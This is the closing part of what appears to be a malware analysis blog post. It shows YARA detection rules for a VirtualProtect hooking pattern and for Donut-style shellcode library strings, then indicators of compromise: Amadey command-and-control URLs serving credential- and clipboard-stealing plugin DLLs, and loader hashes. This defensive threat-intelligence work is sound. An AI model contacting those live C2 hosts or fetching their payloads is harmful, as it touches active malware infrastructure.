                             (8B|8D) (44|4c|54|5c|6c|74|7c) 24 ??            // lea 4 bytes that now contain detour_fn addr to eax
                             (50|51|52|53|55|56|57) [0-12]                   // push eax
                             6A 04 [0-12]                                    // push 4
                             (50|51|52|53|55|56|57) [0-12]                   // push ebx
                             (FF|E8) ?? ?? ?? ?? ??                          // Call VirtualProtect
        }

    condition:
        all of them

}
rule Technique_Shellcode_Libs {

    meta:
        author = "muzisec"
        date = "2025-05-19"
        description = "Detects some shellcode libs that are stored as a string and delimited by ;. Observed in numerous pieces of malware and tools such as Donut.https://github.com/TheWover/donut/blob/master/docs/devnotes.md"
        reference = "b42958030ae87c4011b53f1b1812c441268ce7deaeba56bcafe6072fdad3dfb8"

    strings:

        // ole32;oleaut32;wininet;mscoree;shell32

        $sc_lib_ole32 = /ole32;((oleaut32|wininet|mscoree|shell32);){3,}/
        $sc_lib_oleaut32 = /oleaut32;((ole32|wininet|mscoree|shell32);){3,}/
        $sc_lib_wininet = /wininet;((ole32|oleaut32|mscoree|shell32);){3,}/
        $sc_lib_mscoree = /mscoree;((ole32|oleaut32|wininet|shell32);){3,}/
        $sc_lib_shell32 = /shell32;((ole32|oleaut32|wininet|mscoree);){3,}/

    condition:
        1 of them

}

IOCs

C2
  • hxxp://45[.]93[.]20[.]224/pNdj30Vs11/index[.]php
  • http://45[.]93[.]20[.]224/pndj30vs11/plugins/clip64[.]dll
  • http://45[.]93[.]20[.]224/pndj30vs11/plugins/cred64[.]dll
SHA256

406c113bb3811800661c01b732fcd5b1dfcab01c053287fb42335c98e409f52f – .NET Loader

796ea1d27ed5825e300c3c9505a87b2445886623235f3e41258de90ba1604cd5 – Rust Loader

12b189bd31b554cd0eed71f107dd6de843e3a78bf161da8bd728bc1ac1ab4bf4 – Amadey

f69b0d3dca19ca354d756880df1eb0c89f8ccf304fb1d4060dc9ba1bbc262796 – cred64.dll

About the author

By muzi